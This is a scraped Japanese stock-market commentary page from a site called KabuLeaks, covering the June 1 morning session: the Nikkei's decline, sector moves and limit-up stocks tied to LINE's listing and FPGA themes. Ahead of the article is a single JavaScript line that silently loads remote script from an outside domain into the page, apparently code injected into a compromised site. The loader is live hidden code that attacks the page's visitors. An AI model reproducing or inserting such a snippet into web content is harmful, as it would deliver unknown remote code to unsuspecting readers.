;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【6/1 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【6/1 前引け】

前場の日経平均は97円安と反落。前場はやや為替が円高に振れていたことや直近5連騰の反動から利益確定売りに押されてのスタートとなったが一巡後は押し目買いが入り下げ渋る展開。為替相場が持ち直したほか、根強い政策期待への期待もあったようだ。業種別では、海運業、情報・通信業、銀行業が値上がり上位に。一方で、電気・ガス業、陸運業、空運業が値下がり上位となった。

個別では、LINE関連の【6026GMO TECHがストップ高。また、あまり聞きなれないがFPGA関連として【4736】日本ラッド、日本【4783】日本コンピュータ・ダイナミクス、【7587】パルテックなどもストップ高と人気を集める。また、米LBR社とHIV感染症治療薬に関するオプション契約締結の【4588】オンコリスバイオファーマやNECによるTOBが明らかになった【6807】日本航空電子工業などが大幅高となっている。

テーマではやはり日米同時上場が伝わったLINE関連軒並み人気化し、大幅上昇の銘柄が目立つ。ただ、寄り天の銘柄も多く手当たり次第触ったりすると痛い目に合う可能性も。今後関連銘柄の何処が息の長い相場になるかなど、しっかりとした見極めが重要だと思う。